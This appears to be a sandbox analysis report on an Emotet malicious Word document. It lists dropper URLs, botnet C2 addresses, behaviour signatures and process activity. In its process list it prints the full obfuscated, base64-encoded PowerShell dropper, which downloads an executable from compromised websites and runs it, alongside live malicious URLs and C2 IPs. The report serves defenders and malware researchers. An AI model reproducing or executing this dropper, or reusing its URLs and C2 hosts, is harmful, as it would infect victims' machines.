Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    80s
  • max time network
    114s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    21/10/2020, 18:15

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e2_8ce534c1cab5a87f1d3b7962eca1fc801060b44f8e8869701afc0c011604d317_2020-10-21__171808074242._doc.doc
  • Size 198KB
  • Sample201021-2gpsc9pp1a
  • SHA256 8ce534c1cab5a87f1d3b7962eca1fc801060b44f8e8869701afc0c011604d317
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    https://www.aspensnowmasswebcam.com/wp-admin/SC6c2o/
  • exe.dropper

    https://ticket1st.com/wp-includes/98Zkfi/
  • exe.dropper

    https://www.eyebrowandme.com/cgi-bin/3NN/
  • exe.dropper

    http://newsfocus123.com/96kaifa/cc1/
  • exe.dropper

    https://dev.muzigal.com/cron/Mdn/
  • exe.dropper

    http://www.dehateet.com/wp-admin/Gqg0Ma/
  • exe.dropper

    http://keithdougherty.com/wp-includes/Yen85/
  • exe.dropper

    http://nurseprizes.com/wp-includes/hS/

Extracted

Family

  • emotet

Botnet

  • Epoch2

C2

  • 24.178.90.49:80

  • 96.126.101.6:8080

  • 5.196.108.185:8080

  • 167.114.153.111:8080

  • 61.19.246.238:443

  • 2.58.16.89:8080

  • 49.50.209.131:80

  • 120.150.218.241:443

  • 137.59.187.107:8080

  • 96.245.227.43:80

  • 209.54.13.14:80

  • 190.29.166.0:80

  • 69.206.132.149:80

  • 41.185.28.84:8080

  • 37.187.72.193:8080

  • 24.230.141.169:80

  • 194.4.58.192:7080

  • 104.131.11.150:443

  • 62.171.142.179:8080

  • 75.143.247.51:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_8ce534c1cab5a87f1d3b7962eca1fc801060b44f8e8869701afc0c011604d317_2020-10-21__171808074242._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:844
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD IAAgAHMARQB0ACAAIAAoACIAOQB4AFIAMQAiACsAIgBBACIAKQAgACAAKAAgACAAWwB0AFkAcABlAF0AKAAiAHsAMgB9AHsAMQB9AHsANQB9AHsAMAB9AHsANAB9AHsAMwB9ACIAIAAtAGYAIAAnAGkATwAuAGQAJwAsACcAVABlAG0AJwAsACcAUwB5AHMAJwAsACcAUgBFAEMAVABvAFIAWQAnACwAJwBpACcALAAnAC4AJwApACAAKQAgACAAOwAgACAAJABmADIAeQBjAFAAPQAgACAAWwBUAFkAcABFAF0AKAAiAHsAMQB9AHsAMwB9AHsAMgB9AHsANAB9AHsAMAB9AHsANQB9ACIAIAAtAEYAIAAnAFQAbQBhACcALAAnAFMAWQBzACcALAAnAEUAJwAsACcAdABFAG0ALgBuAEUAdAAuAHMARQByAFYASQBjACcALAAnAHAAbwBpAE4AJwAsACcAbgBBAEcAZQBSACcAKQAgADsAJABWAGIAYgBfAGoAaQBwAD0AKAAoACcAWgAnACsAJwBwAGYAagAnACsAJwBrAF8AJwApACsAJwBwACcAKQA7ACQAWgBvADIAawAzADgAbQA9ACQARQB4ADgAagBmAHAAbgAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAVgB2AHMAZAB5AHkAYgA7ACQAQQBnAHIAMgA2AG4AeAA9ACgAJwBQACcAKwAnAG4AJwArACgAJwAyAHMAZABxACcAKwAnAGIAJwApACkAOwAgACAAKABnAEkAIAAgACgAJwB2ACcAKwAnAGEAJwArACcAcgBpAGEAQgBMAGUAOgA5AFgAcgAnACsAJwAxAGEAJwApACkALgBWAEEAbAB1AEUAOgA6ACIAYwBSAEUAQQB0AGUAZABgAGkAcgBlAGAAQwBUAG8AYABSAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwB7ADAAfQAnACsAJwBSACcAKwAnAF8AYwAnACsAJwB6ACcAKwAnADgAaQB6AHsAMAB9ACcAKwAoACcATwAyADYAJwArACcAbwAzAGwAJwApACsAJwBvAHsAMAB9ACcAKQAgACAALQBmACAAIABbAGMAaABhAHIAXQA5ADIAKQApADsAJABJADIAaQBmAG8AZgBwAD0AKAAoACcAUgBmACcAKwAnAGcAegAnACkAKwAoACcAMgAnACsAJwBsAGIAJwApACkAOwAgACAAKAAgAGcARQB0AC0AYwBIAEkAbABEAEkAdABFAG0AIAB2AGEAUgBpAEEAQgBMAEUAOgBGADIAWQBDAHAAIAApAC4AdgBhAEwAdQBlADoAOgAiAFMAZQBjAHUAYABSAGAASQBUAFkAcAByAE8AVABgAE8AQwBgAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQASgByAGkAZABzAHoAagA9ACgAKAAnAEEAcwAnACsAJwB5ACcAKQArACcAMwB6ACcAKwAnADYANAAnACkAOwAkAEEAcwB0AHUAaQBoAGUAIAA9ACAAKAAoACcATwAnACsAJwA4ADQAOABwACcAKQArACcAOAAnACsAJwBrACcAKQA7ACQAVABjAGMAMQBnADAAeQA9ACgAKAAnAEkAcAAnACsAJwBmAHcAJwApACsAJwBoADkAJwArACcAZAAnACkAOwAkAE4AcQBmADgAcgB4ADEAPQAoACcASgAnACsAKAAnADQAZgAnACsAJwA2AHQAZgAnACkAKwAnADgAJwApADsAJABGAGEAaQBmAHgAYgBqAD0AJABIAE8ATQBFACsAKAAoACcAdgAnACsAKAAnAFMAVABSACcAKwAnAF8AYwB6ADgAJwArACcAaQB6AHYAUwBUACcAKQArACgAJwBPADIANgBvACcAKwAnADMAbAAnACkAKwAoACcAbwB2ACcAKwAnAFMAVAAnACkAKQAtAEMAUgBlAFAAbABhAEMARQAgACAAKAAnAHYAUwAnACsAJwBUACcAKQAsAFsAYwBIAEEAcgBdADkAMgApACsAJABBAHMAdAB1AGkAaABlACsAKAAnAC4AJwArACgAJwBlACcAKwAnAHgAZQAnACkAKQA7ACQARgBuAG4AcQB4AHQAdwA9ACgAKAAnAFYAJwArACcAbgByAGoAMQAnACkAKwAnAGgAZwAnACkAOwAkAEIAXwBpAGsAMQBmAG8APQAmACgAJwBuAGUAdwAtAG8AJwArACcAYgBqAGUAJwArACcAYwB0ACcAKQAgAG4AZQB0AC4AVwBlAEIAYwBsAGkAZQBOAFQAOwAkAEoANQA5ADcAOABsADcAPQAoACgAJwBoAHQAdAAnACsAJwBwACcAKQArACgAJwBzADoAJwArACcAPQAnACkAKwAoACcAWQAzAG4AawAnACsAJwBPAHMAPQAnACsAJwBZADMAbgBrACcAKwAnAE8AcwAnACsAJwB3ACcAKQArACcAdwB3ACcAKwAoACcALgAnACsAJwBhAHMAcABlACcAKwAnAG4AcwBuAG8AJwArACcAdwBtAGEAcwBzACcAKwAnAHcAJwApACsAKAAnAGUAYgBjAGEAbQAuACcAKwAnAGMAbwBtAD0AWQAnACsAJwAzACcAKwAnAG4AawAnACsAJwBPACcAKwAnAHMAdwBwAC0AYQAnACsAJwBkAG0AaQBuAD0AWQAnACsAJwAzAG4AJwArACcAawBPAHMAUwAnACkAKwAoACcAQwA2ACcAKwAnAGMAMgAnACkAKwAnAG8AJwArACgAJwA9AFkAMwAnACsAJwBuACcAKQArACgAJwBrAE8AcwAnACsAJwBAAGgAdAAnACsAJwB0AHAAcwAnACkAKwAoACcAOgA9AFkAMwAnACsAJwBuACcAKwAnAGsATwAnACkAKwAoACcAcwA9AFkAJwArACcAMwAnACkAKwAnAG4AawAnACsAKAAnAE8AcwAnACsAJwB0AGkAYwAnACsAJwBrACcAKQArACcAZQAnACsAKAAnAHQAMQBzACcAKwAnAHQALgBjAG8AJwArACcAbQAnACkAKwAoACcAPQBZADMAJwArACcAbgBrACcAKQArACgAJwBPAHMAJwArACcAdwAnACkAKwAoACcAcAAtAGkAJwArACcAbgBjAGwAdQAnACkAKwAnAGQAJwArACgAJwBlAHMAPQAnACsAJwBZADMAbgAnACsAJwBrACcAKwAnAE8AcwAnACkAKwAoACcAOQAnACsAJwA4AFoAJwArACcAawBmAGkAPQBZADMAbgBrACcAKwAnAE8AcwBAACcAKQArACcAaAB0ACcAKwAoACcAdAAnACsAJwBwAHMAJwApACsAKAAnADoAPQBZACcAKwAnADMAbgAnACkAKwAnAGsATwAnACsAKAAnAHMAPQAnACsAJwBZADMAJwArACcAbgBrAE8AcwB3ACcAKwAnAHcAdwAuAGUAJwApACsAKAAnAHkAJwArACcAZQBiAHIAJwApACsAKAAnAG8AdwBhAG4AJwArACcAZABtACcAKwAnAGUAJwApACsAJwAuAGMAJwArACgAJwBvACcAKwAnAG0APQBZADMAJwApACsAJwBuAGsAJwArACgAJwBPAHMAYwBnAGkALQBiACcAKwAnAGkAJwApACsAKAAnAG4APQAnACsAJwBZADMAbgAnACkAKwAnAGsAJwArACcATwBzACcAKwAoACcAMwAnACsAJwBOAE4APQBZADMAbgAnACsAJwBrACcAKwAnAE8AcwBAAGgAdAAnACsAJwB0AHAAOgAnACkAKwAnAD0AJwArACgAJwBZACcAKwAnADMAbgAnACsAJwBrACcAKwAnAE8AJwArACcAcwA9AFkAMwBuAGsATwBzAG4AJwApACsAJwBlAHcAJwArACgAJwBzAGYAbwBjAHUAJwArACcAcwAxACcAKQArACgAJwAyADMAJwArACcALgAnACkAKwAoACcAYwAnACsAJwBvAG0APQAnACkAKwAnAFkAMwAnACsAKAAnAG4AawAnACsAJwBPACcAKQArACgAJwBzADkAJwArACcANgAnACsAJwBrAGEAaQBmAGEAJwApACsAJwA9AFkAJwArACcAMwBuACcAKwAoACcAawBPACcAKwAnAHMAJwApACsAKAAnAGMAJwArACcAYwAxAD0AWQAzAG4AawAnACsAJwBPAHMAQABoACcAKwAnAHQAdAAnACsAJwBwAHMAOgA9AFkAMwBuACcAKwAnAGsAJwApACsAJwBPACcAKwAoACcAcwA9AFkAJwArACcAMwBuAGsATwBzACcAKwAnAGQAJwArACcAZQAnACsAJwB2AC4AbQAnACkAKwAoACcAdQB6AGkAJwArACcAZwBhACcAKQArACgAJwBsAC4AYwAnACsAJwBvACcAKQArACcAbQAnACsAKAAnAD0AWQAzAG4AJwArACcAawAnACsAJwBPAHMAYwByAG8AJwApACsAJwBuAD0AJwArACgAJwBZADMAbgBrAE8AcwAnACsAJwBNACcAKwAnAGQAJwArACcAbgA9AFkAMwBuAGsAJwArACcATwBzAEAAaAB0ACcAKQArACgAJwB0AHAAOgA9ACcAKwAnAFkAMwBuACcAKQArACgAJwBrAE8AcwAnACsAJwA9AFkAJwApACsAKAAnADMAbgBrAE8AJwArACcAcwB3AHcAJwApACsAJwB3ACcAKwAoACcALgBkAGUAaABhACcAKwAnAHQAZQBlAHQAJwArACcALgAnACkAKwAoACcAYwBvAG0AJwArACcAPQBZADMAbgBrACcAKwAnAE8AcwB3AHAALQBhACcAKwAnAGQAbQBpAG4APQBZACcAKQArACgAJwAzACcAKwAnAG4AawAnACkAKwAoACcATwBzACcAKwAnAEcAcQBnACcAKwAnADAAJwApACsAKAAnAE0AJwArACcAYQA9AFkAMwAnACkAKwAoACcAbgBrACcAKwAnAE8AcwBAAGgAdAAnACkAKwAoACcAdABwADoAJwArACcAPQAnACkAKwAnAFkAMwAnACsAJwBuACcAKwAoACcAawBPACcAKwAnAHMAJwApACsAKAAnAD0AWQAzACcAKwAnAG4AawBPACcAKQArACcAcwBrACcAKwAoACcAZQBpACcAKwAnAHQAJwApACsAKAAnAGgAZABvAHUAZwBoACcAKwAnAGUAJwArACcAcgB0ACcAKQArACgAJwB5AC4AYwAnACsAJwBvACcAKQArACcAbQA9ACcAKwAoACcAWQAnACsAJwAzAG4AawBPACcAKQArACcAcwAnACsAKAAnAHcAcAAtAGkAbgBjAGwAdQAnACsAJwBkACcAKwAnAGUAcwAnACsAJwA9AFkAJwArACcAMwAnACkAKwAnAG4AawAnACsAKAAnAE8AJwArACcAcwBZAGUAbgAnACsAJwA4ADUAJwApACsAKAAnAD0AWQAzACcAKwAnAG4AJwApACsAJwBrACcAKwAnAE8AJwArACgAJwBzAEAAaAB0AHQAcAAnACsAJwA6ACcAKwAnAD0AWQAnACkAKwAnADMAbgAnACsAJwBrAE8AJwArACgAJwBzACcAKwAnAD0AWQAzACcAKQArACcAbgAnACsAKAAnAGsAJwArACcATwBzACcAKQArACcAbgAnACsAKAAnAHUAcgBzAGUAJwArACcAcAAnACkAKwAnAHIAJwArACgAJwBpACcAKwAnAHoAZQBzAC4AJwApACsAKAAnAGMAbwBtAD0AWQAzAG4AawAnACsAJwBPACcAKQArACcAcwB3ACcAKwAoACcAcAAtAGkAJwArACcAbgBjACcAKwAnAGwAdQBkAGUAcwAnACkAKwAoACcAPQBZACcAKwAnADMAJwApACsAKAAnAG4AawAnACsAJwBPACcAKwAnAHMAaABTACcAKQArACcAPQBZACcAKwAnADMAbgAnACsAKAAnAGsATwAnACsAJwBzACcAKQApAC4AIgByAEUAYABwAEwAQQBgAGMAZQAiACgAKAAoACcAPQAnACsAJwBZADMAbgBrACcAKQArACcATwAnACsAJwBzACcAKQAsACcALwAnACkALgAiAFMAYABQAEwAaQBUACIAKAAkAFYAZwBvADAAMgBuAG8AIAArACAAJABaAG8AMgBrADMAOABtACAAKwAgACQASQBpAG4AbwA1ADUAMwApADsAJABOAHkAbwA2AHYAeQBfAD0AKAAnAFYAJwArACgAJwBkAGQAJwArACcAZABnACcAKQArACcAcQBlACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAVQA5AGwAZwBzAGYAbAAgAGkAbgAgACQASgA1ADkANwA4AGwANwApAHsAdAByAHkAewAkAEIAXwBpAGsAMQBmAG8ALgAiAEQAbwBXAGAATgBgAGwATwBhAEQARgBJAEwARQAiACgAJABVADkAbABnAHMAZgBsACwAIAAkAEYAYQBpAGYAeABiAGoAKQA7ACQAUQB0AGIAbgAyADkAMQA9ACgAKAAnAFoAagBkACcAKwAnAG8AJwApACsAKAAnAGcAaQAnACsAJwBpACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAEYAYQBpAGYAeABiAGoAKQAuACIAbABlAG4ARwBgAFQAaAAiACAALQBnAGUAIAA0ADkANgA4ADgAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACgAJwB3AGkAJwArACgAJwBuACcAKwAnADMAMgBfACcAKQArACcAUAAnACsAKAAnAHIAbwBjAGUAcwAnACsAJwBzACcAKQApACkALgAiAEMAcgBgAGUAQQBgAFQAZQAiACgAJABGAGEAaQBmAHgAYgBqACkAOwAkAEgAMwBiADUAbABiAGYAPQAoACgAJwBMAGUAeQAnACsAJwBrAGsAJwApACsAJwA5ACcAKwAnADcAJwApADsAYgByAGUAYQBrADsAJABGADMAawA0AHAAcAB2AD0AKAAnAE8ANwAnACsAKAAnAG0AdQAnACsAJwB3ADMAdwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQwBzADcAegBjAG0AbAA9ACgAJwBXACcAKwAoACcAZwAnACsAJwBsADQAJwApACsAKAAnAGMAJwArACcAdgB5ACcAKQApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:620
  • C:\Users\Admin\R_cz8iz\O26o3lo\O848p8k.exe
    C:\Users\Admin\R_cz8iz\O26o3lo\O848p8k.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:928
    • C:\Windows\SysWOW64\TaskSchdPS\olethk32.exe
      "C:\Windows\SysWOW64\TaskSchdPS\olethk32.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:1440

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/620-13-0x000000001B500000-0x000000001B501000-memory.dmp
        Download

        memory/620-8-0x000007FEEF040000-0x000007FEEFA2C000-memory.dmp
        Download

        memory/620-9-0x0000000001FC0000-0x0000000001FC1000-memory.dmp
        Download

        memory/620-11-0x00000000025B0000-0x00000000025B1000-memory.dmp
        Download

        memory/620-12-0x0000000001F20000-0x0000000001F21000-memory.dmp
        Download

        memory/620-10-0x000000001AC50000-0x000000001AC51000-memory.dmp
        Download

        memory/620-14-0x000000001B960000-0x000000001B961000-memory.dmp
        Download

        memory/844-2-0x0000000008800000-0x0000000008804000-memory.dmp
        Download

        memory/844-4-0x0000000006D10000-0x0000000006F10000-memory.dmp
        Download

        memory/844-3-0x0000000006D10000-0x0000000006F10000-memory.dmp
        Download

        memory/928-17-0x00000000001F0000-0x000000000020F000-memory.dmp
        Download

        memory/928-18-0x0000000000290000-0x00000000002AE000-memory.dmp
        Download

        memory/1400-23-0x000007FEF87B0000-0x000007FEF8A2A000-memory.dmp
        Download

        memory/1440-21-0x0000000000260000-0x000000000027F000-memory.dmp
        Download

        memory/1440-22-0x0000000000310000-0x000000000032E000-memory.dmp
        Download